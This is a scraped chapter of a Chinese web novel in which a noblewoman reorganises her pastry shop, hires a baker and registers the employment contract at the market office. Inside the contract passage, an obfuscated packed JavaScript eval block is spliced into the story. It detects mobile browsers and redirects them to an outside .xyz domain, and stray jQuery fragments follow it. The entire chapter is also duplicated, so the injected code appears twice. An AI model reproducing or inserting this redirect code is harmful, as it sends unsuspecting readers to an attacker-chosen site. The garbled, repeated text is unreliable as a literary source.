主母日常山尽
28. 雇工契
大概是在李府太久了，这间铺子她都觉得有些逼仄了。
陈大家的看着夫人在铺子里转了一圈，目光里透露着不满。
“夫人，咱们租出去的一间铺子在东市，那儿要比这里大很多。”
东市吗......福熙坊住着的至少都是五品以上的官员和家里非常有钱的商户，物价比西市也要高很多。当初永乐侯夫人给的她几间铺子，东市的都租出去了，西市的则留着做生意。
东市的铺子虽大，但地段就不好了，西市的铺子虽小，却在最繁华的地段。
更何况，东市那边有富商开的卖南方糕点的铺子，她没那个信心和人家竞争。
还是先把这间铺子经营好再说吧......董玉婷眼中的坚定慢慢凝结，心里飞速的制定起计划。
“先把这个幌子给撤了吧，铺子重新取个名字，就叫酥香阁，方兰做的玉兰酥，以后就是我们铺子的招牌。”
方兰愣了一下，等王明月激动的握住她的手，方兰才反应过来，“多谢夫人，多谢夫人。”
董玉婷继续说着她的计划：“这里能开扇窗户吗？”
陈大家的道：“应该能，这事得让木匠和泥瓦匠来。”
方兰脸红道：“夫人，我丈夫就是木匠，不若让他来看看。
董玉婷微微颔首：“可以，除了开窗户，还需要再做几张桌子，几把椅子，正需要木匠来干。”
方兰飘飘然的像立在了云端，今天怎么这么好运，不仅自己找到了活干，还给丈夫找了活。
铺子坐北朝南，南面的墙上却没窗户，一天到晚除了正门口有阳光照进，屋里阴暗暗的像是在洞里。
“春月，等这里开了窗户，你带人从花房搬几盆花来，要品种不一的，把铺子给装点一下，有几盆放在外面，摆在窗户底下，这样路过的百姓也能看到。”董玉婷兴致勃勃的说着，脑中幻想着酥香阁以后的画面，过往的百姓被一阵食物香气勾引过来，然后看到窗户下方摆着的娇嫩欲滴的花朵，金灿灿的阳光从窗口照进屋子，里面的环境更是清新雅致。
春月笑的眼睛弯成月牙：“知道了夫人，奴婢保证搬几盆漂亮的花来。”她暗暗想：这样她岂不是能出府了。
董玉婷对陈大家道：“还有架子也不要摆在门口了，往里面放，要是有人来买，就请他们进来。西边放糕点，东边放桌子椅子，店里以后还要准备一些茶水，客人想堂食也可以。”
陈大家的：“那不就和茶肆一样了吗？”
“茶肆专卖茶，糕点只是其次，咱们的重点则是糕点。方兰，回头请你丈夫雕刻七个木牌，把糕点的名字，价格写上去，挂在柜台上，咱们店里先暂时卖今天做的那六种糕点，剩下一个木牌上写上花茶，若要在店里堂食，花茶免费喝。”
“等到过节的时候，铺子里再额外做糕点，端午粽子，中秋月饼......天再热一些的时候，铺子里再备上凉茶供客人喝。”董玉婷从铺子里走出来，“都记住了吗，暂时先把这几件事办好，等我后续想到什么，再让秋荷告诉你们。”
陈大家的和方兰直点头。
董玉婷环视四周，扫过铺子里的三名员工，“你们做糕点的地方在哪？离这里远吗？”要是铺子再大些，她就让人开个厨房，新鲜出炉的糕点怎么也要更好吃一点。
陈大家的道：“离这里不远，就在草市街后面。”
“我去看看。”董玉婷要考察一下厨房的卫生情况，免得卫生做的不好，让客人吃坏肚子。
安宁坊大街小巷都有过路的百姓，马车慢悠悠的行过两条街停下，这条街上的百姓还从来没见过有人乘坐马车来这里，悄悄扭过来头打量着她们。
是来做什么的？他们只见到几个人簇拥着一个人进去了。
陈大家的快步上前，给董玉婷打开屋门，这是一家一进的院子，三面设了房屋，西边的房屋就是厨房，正屋是现在铺子里的糕点师傅住的地方。
“夫人，这间院子也是咱们的，师傅就在这里做糕点，做好后让小丁蒙上屉布端到铺子里。”
董玉婷在心里估算了一下距离，从这里到铺子上步行的话差不多要六七分钟，不算太远，但路上行走，不免会粘上灰尘。
“陈大家的，你最近去铺子附近的店铺打听打听，看他们有没有想要卖出店铺的，若是和酥香阁挨着最好，到时候把厨房搬过去，这里离铺子还是有些远。”
一个男孩儿蹦蹦跳跳的跑了过来，仰着头问：“你们是谁啊？”
厨房里走出一个妇人，拘谨的看着她们，把男孩儿拉到身后：“陈婶子......”她给陈大家的说话，眼睛却一眨不眨的看着董玉婷。
“这是夫人，咱们东家。”
妇人忙拉着男孩儿要给董玉婷跪下。
“别跪，快起来。”
陈大家的将妇人拉起：“她是点心师傅王芳，这是她儿子，她也是可怜人，丈夫死的早，不过她手艺不错，我看她们孤儿寡母的，就让她们留下来了。”
“见、见过夫人。”王芳忐忑道。
她听陈大家的自豪的讲过她们铺子的背后之人，但从来没见过，今日一见，果然和她们有着云泥之别，王芳把沾着面粉的手背到后面。
陈大家的把方兰领过来：“这也是咱们的点心师傅，你们认识一下。”
方兰浅笑着对她点了点头。
董玉婷走进厨房，大致看了一眼，环境不错，瓶瓶罐罐摆放的整整齐齐，可见王芳是个爱干净的人。
王芳在外面低声问陈大家的：“陈婶子，夫人要收回这间院子吗？”
她和儿子相依为命，攒下来的钱倒是足够买一间小院了，就是有些舍不得。
陈大家的摇摇头：“不知道，夫人没说，应该不会收回院子。”
董玉婷看过后，就离开了这里。回到铺子中，和方兰签订雇工契。
契上要写工钱与食宿、身份信息、工作内容、期限，最后由雇主、雇工、保人签字，还要拿到市署登记。
立契人方兰，年二十七岁，系幽州平南郡清原县人。京城安宁坊西市酥香阁陈淑名下做伙，每日卯时上工，戌时歇息，专司揉面、制作糕点。月钱一两，食宿于石头街第三家。佣工三年为期，未满不得辞工。
陈大家的指导着方兰写下来，拿给董玉婷
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14910497|158595||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
看。
方兰以前在清原县的时候也写过雇工契，只不过那时候她是雇主，开给点心师傅的月钱也不过半吊子钱。
月钱一两，也就相当于府里的一等丫鬟的月例。
“在月钱后面再写上，每月给糕饼两斤，米一斗，逢年过节再给其他东西。”
陈大家的“哦”了一声，不情不愿的转过身拿笔去添上。
董玉婷道：“放心吧，这些福利铺子的人都有。”
陈大家的又眉开眼笑起来：“谢谢夫人。”
王芳拉着儿子赶紧道谢，方兰也紧随其后，拉着王明月给董玉婷道谢。
写好雇工契，众人去往市署。
写好的雇工契一份要留在市署，一份自留。市丞懒洋洋的靠在圆椅上，这会儿刚过了午后，市署里人不多，他也愈发懒散，接过陈大家的递来的雇工契，他正准备扔给底下的市佐去抄写，忽然瞥见雇工契上的保人，是工部治河总督的夫人，他精神一震，嘴角高高扬起，亲自抄写雇工契。
“这就是铺子里的点心师傅？”市丞笑着问道。
陈大家的道：“正是，她做的南边的糕点可好吃，市丞大人到时候一定要来我们铺子尝尝。”
“当不起大人。”市丞道，“只是这糕点会不会很贵？”
“怎么会？我们铺子里的点心价格一向实惠。”
“那我一定要去尝尝，南边的糕点我还没尝过呢。东市有卖南边的糕点，就是那价格，实在是吃不起啊。”市丞苦笑道。
“大人尽管去尝，贵了我自个儿掏腰包送你。”陈大家的也笑，“就是期望大人能帮我们宣传一下，我们铺子里不仅能吃到美味的糕点，还有免费的花茶可以喝。等天再热一些，还有凉茶能喝。”
市丞有心讨好陈大家的背后的董玉婷，满口答应：“行！这事儿交给我。”
方兰走出市署的时候还晕晕乎乎，没想到这事儿竟这么容易的办成了，她去市署的时候那些官员总是趾高气昂，不给她找点麻烦都不行，哪里像这个市丞态度这么好。
方兰知道，这一切都是那位夫人的缘故。
她看向市署外停着的马车，暗自发誓定要做好糕点，不辜负夫人的好意。
董玉婷接过雇工契，在马车里对她们说：“你们坐那辆马车回去吧，有什么事我会让秋荷通知你们，我交代你们的事情也要记得去做。”
董玉婷又去了东市逛了一圈儿，果然要比西市更加繁华。在这条街上，像酥香阁这样的小铺子根本就找不到。道路也更宽阔平整，六辆马车可以并驾齐驱，而西市那条街，却只能同时行驶两辆马车。
满街弥漫着诱人的食物香气，各色的食物根本不重样，除了酒楼、卖吃食的，还有听曲说书、茶肆、布庄、药馆赌坊......看得人眼花缭乱。
回了李府，已经过了吃午饭的时候，冬枝得知董玉婷还没吃饭，马上遣人让厨房热菜。
“把这些糕点，拿给瑶姐儿、翰哥儿、睿哥儿他们。”这是她在东市的如意斋买的，自己也尝了尝，味道确实不错，方兰的厨艺不如他们。
幸好她没大胆到带着方兰去东市做生意。
陈大家的看着夫人在铺子里转了一圈，目光里透露着不满。
“夫人，咱们租出去的一间铺子在东市，那儿要比这里大很多。”
东市吗......福熙坊住着的至少都是五品以上的官员和家里非常有钱的商户，物价比西市也要高很多。当初永乐侯夫人给的她几间铺子，东市的都租出去了，西市的则留着做生意。
东市的铺子虽大，但地段就不好了，西市的铺子虽小，却在最繁华的地段。
更何况，东市那边有富商开的卖南方糕点的铺子，她没那个信心和人家竞争。
还是先把这间铺子经营好再说吧......董玉婷眼中的坚定慢慢凝结，心里飞速的制定起计划。
“先把这个幌子给撤了吧，铺子重新取个名字，就叫酥香阁，方兰做的玉兰酥，以后就是我们铺子的招牌。”
方兰愣了一下，等王明月激动的握住她的手，方兰才反应过来，“多谢夫人，多谢夫人。”
董玉婷继续说着她的计划：“这里能开扇窗户吗？”
陈大家的道：“应该能，这事得让木匠和泥瓦匠来。”
方兰脸红道：“夫人，我丈夫就是木匠，不若让他来看看。
董玉婷微微颔首：“可以，除了开窗户，还需要再做几张桌子，几把椅子，正需要木匠来干。”
方兰飘飘然的像立在了云端，今天怎么这么好运，不仅自己找到了活干，还给丈夫找了活。
铺子坐北朝南，南面的墙上却没窗户，一天到晚除了正门口有阳光照进，屋里阴暗暗的像是在洞里。
“春月，等这里开了窗户，你带人从花房搬几盆花来，要品种不一的，把铺子给装点一下，有几盆放在外面，摆在窗户底下，这样路过的百姓也能看到。”董玉婷兴致勃勃的说着，脑中幻想着酥香阁以后的画面，过往的百姓被一阵食物香气勾引过来，然后看到窗户下方摆着的娇嫩欲滴的花朵，金灿灿的阳光从窗口照进屋子，里面的环境更是清新雅致。
春月笑的眼睛弯成月牙：“知道了夫人，奴婢保证搬几盆漂亮的花来。”她暗暗想：这样她岂不是能出府了。
董玉婷对陈大家道：“还有架子也不要摆在门口了，往里面放，要是有人来买，就请他们进来。西边放糕点，东边放桌子椅子，店里以后还要准备一些茶水，客人想堂食也可以。”
陈大家的：“那不就和茶肆一样了吗？”
“茶肆专卖茶，糕点只是其次，咱们的重点则是糕点。方兰，回头请你丈夫雕刻七个木牌，把糕点的名字，价格写上去，挂在柜台上，咱们店里先暂时卖今天做的那六种糕点，剩下一个木牌上写上花茶，若要在店里堂食，花茶免费喝。”
“等到过节的时候，铺子里再额外做糕点，端午粽子，中秋月饼......天再热一些的时候，铺子里再备上凉茶供客人喝。”董玉婷从铺子里走出来，“都记住了吗，暂时先把这几件事办好，等我后续想到什么，再让秋荷告诉你们。”
陈大家的和方兰直点头。
董玉婷环视四周，扫过铺子里的三名员工，“你们做糕点的地方在哪？离这里远吗？”要是铺子再大些，她就让人开个厨房，新鲜出炉的糕点怎么也要更好吃一点。
陈大家的道：“离这里不远，就在草市街后面。”
“我去看看。”董玉婷要考察一下厨房的卫生情况，免得卫生做的不好，让客人吃坏肚子。
安宁坊大街小巷都有过路的百姓，马车慢悠悠的行过两条街停下，这条街上的百姓还从来没见过有人乘坐马车来这里，悄悄扭过来头打量着她们。
是来做什么的？他们只见到几个人簇拥着一个人进去了。
陈大家的快步上前，给董玉婷打开屋门，这是一家一进的院子，三面设了房屋，西边的房屋就是厨房，正屋是现在铺子里的糕点师傅住的地方。
“夫人，这间院子也是咱们的，师傅就在这里做糕点，做好后让小丁蒙上屉布端到铺子里。”
董玉婷在心里估算了一下距离，从这里到铺子上步行的话差不多要六七分钟，不算太远，但路上行走，不免会粘上灰尘。
“陈大家的，你最近去铺子附近的店铺打听打听，看他们有没有想要卖出店铺的，若是和酥香阁挨着最好，到时候把厨房搬过去，这里离铺子还是有些远。”
一个男孩儿蹦蹦跳跳的跑了过来，仰着头问：“你们是谁啊？”
厨房里走出一个妇人，拘谨的看着她们，把男孩儿拉到身后：“陈婶子......”她给陈大家的说话，眼睛却一眨不眨的看着董玉婷。
“这是夫人，咱们东家。”
妇人忙拉着男孩儿要给董玉婷跪下。
“别跪，快起来。”
陈大家的将妇人拉起：“她是点心师傅王芳，这是她儿子，她也是可怜人，丈夫死的早，不过她手艺不错，我看她们孤儿寡母的，就让她们留下来了。”
“见、见过夫人。”王芳忐忑道。
她听陈大家的自豪的讲过她们铺子的背后之人，但从来没见过，今日一见，果然和她们有着云泥之别，王芳把沾着面粉的手背到后面。
陈大家的把方兰领过来：“这也是咱们的点心师傅，你们认识一下。”
方兰浅笑着对她点了点头。
董玉婷走进厨房，大致看了一眼，环境不错，瓶瓶罐罐摆放的整整齐齐，可见王芳是个爱干净的人。
王芳在外面低声问陈大家的：“陈婶子，夫人要收回这间院子吗？”
她和儿子相依为命，攒下来的钱倒是足够买一间小院了，就是有些舍不得。
陈大家的摇摇头：“不知道，夫人没说，应该不会收回院子。”
董玉婷看过后，就离开了这里。回到铺子中，和方兰签订雇工契。
契上要写工钱与食宿、身份信息、工作内容、期限，最后由雇主、雇工、保人签字，还要拿到市署登记。
立契人方兰，年二十七岁，系幽州平南郡清原县人。京城安宁坊西市酥香阁陈淑名下做伙，每日卯时上工，戌时歇息，专司揉面、制作糕点。月钱一两，食宿于石头街第三家。佣工三年为期，未满不得辞工。
陈大家的指导着方兰写下来，拿给董玉婷
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14910497|158595||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
看。
方兰以前在清原县的时候也写过雇工契，只不过那时候她是雇主，开给点心师傅的月钱也不过半吊子钱。
月钱一两，也就相当于府里的一等丫鬟的月例。
“在月钱后面再写上，每月给糕饼两斤，米一斗，逢年过节再给其他东西。”
陈大家的“哦”了一声，不情不愿的转过身拿笔去添上。
董玉婷道：“放心吧，这些福利铺子的人都有。”
陈大家的又眉开眼笑起来：“谢谢夫人。”
王芳拉着儿子赶紧道谢，方兰也紧随其后，拉着王明月给董玉婷道谢。
写好雇工契，众人去往市署。
写好的雇工契一份要留在市署，一份自留。市丞懒洋洋的靠在圆椅上，这会儿刚过了午后，市署里人不多，他也愈发懒散，接过陈大家的递来的雇工契，他正准备扔给底下的市佐去抄写，忽然瞥见雇工契上的保人，是工部治河总督的夫人，他精神一震，嘴角高高扬起，亲自抄写雇工契。
“这就是铺子里的点心师傅？”市丞笑着问道。
陈大家的道：“正是，她做的南边的糕点可好吃，市丞大人到时候一定要来我们铺子尝尝。”
“当不起大人。”市丞道，“只是这糕点会不会很贵？”
“怎么会？我们铺子里的点心价格一向实惠。”
“那我一定要去尝尝，南边的糕点我还没尝过呢。东市有卖南边的糕点，就是那价格，实在是吃不起啊。”市丞苦笑道。
“大人尽管去尝，贵了我自个儿掏腰包送你。”陈大家的也笑，“就是期望大人能帮我们宣传一下，我们铺子里不仅能吃到美味的糕点，还有免费的花茶可以喝。等天再热一些，还有凉茶能喝。”
市丞有心讨好陈大家的背后的董玉婷，满口答应：“行！这事儿交给我。”
方兰走出市署的时候还晕晕乎乎，没想到这事儿竟这么容易的办成了，她去市署的时候那些官员总是趾高气昂，不给她找点麻烦都不行，哪里像这个市丞态度这么好。
方兰知道，这一切都是那位夫人的缘故。
她看向市署外停着的马车，暗自发誓定要做好糕点，不辜负夫人的好意。
董玉婷接过雇工契，在马车里对她们说：“你们坐那辆马车回去吧，有什么事我会让秋荷通知你们，我交代你们的事情也要记得去做。”
董玉婷又去了东市逛了一圈儿，果然要比西市更加繁华。在这条街上，像酥香阁这样的小铺子根本就找不到。道路也更宽阔平整，六辆马车可以并驾齐驱，而西市那条街，却只能同时行驶两辆马车。
满街弥漫着诱人的食物香气，各色的食物根本不重样，除了酒楼、卖吃食的，还有听曲说书、茶肆、布庄、药馆赌坊......看得人眼花缭乱。
回了李府，已经过了吃午饭的时候，冬枝得知董玉婷还没吃饭，马上遣人让厨房热菜。
“把这些糕点，拿给瑶姐儿、翰哥儿、睿哥儿他们。”这是她在东市的如意斋买的，自己也尝了尝，味道确实不错，方兰的厨艺不如他们。
幸好她没大胆到带着方兰去东市做生意。